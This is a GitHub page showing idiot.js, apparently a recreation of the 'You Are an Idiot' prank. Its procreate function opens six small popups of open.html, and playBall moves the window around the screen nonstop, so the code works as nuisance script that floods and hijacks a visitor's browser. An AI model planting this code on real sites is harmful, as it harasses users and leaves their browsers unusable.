-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathidiot.js
60 lines (51 loc) · 1.31 KB
/
idiot.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
var xOff = 5;
var yOff = 5;
var xPos = 400;
var yPos = -100;
var flagRun = 1;
function openWindow(url){
aWindow = window.open(url,"_blank", 'menubar=no,status=no,toolbar=noresizable=no,width=180,height=175,titlebar=no,alwaysRaised=yes');
}
function procreate(){
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
openWindow('open.html');
}
function newXlt(){
xOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
window.focus()}
function newXrt(){
xOff = Math.ceil(7 * Math.random()) * 5 - 10 ;
}
function newYup(){
yOff = Math.ceil( 0 - 6 * Math.random()) * 5 - 10 ;
}
function newYdn(){
yOff = Math.ceil( 7 * Math.random()) * 5 - 10 ;
}
function fOff(){
flagrun = 0;
}
function playBall(){
xPos += xOff;
yPos += yOff;
if (xPos > screen.width-175){
newXlt();
}
if (xPos < 0){
newXrt();
}
if (yPos > screen.height-100){
newYup();
}
if (yPos < 0){
newYdn();
}
if (flagRun == 1){
window.moveTo(xPos,yPos);
setTimeout('playBall()',1);
}
}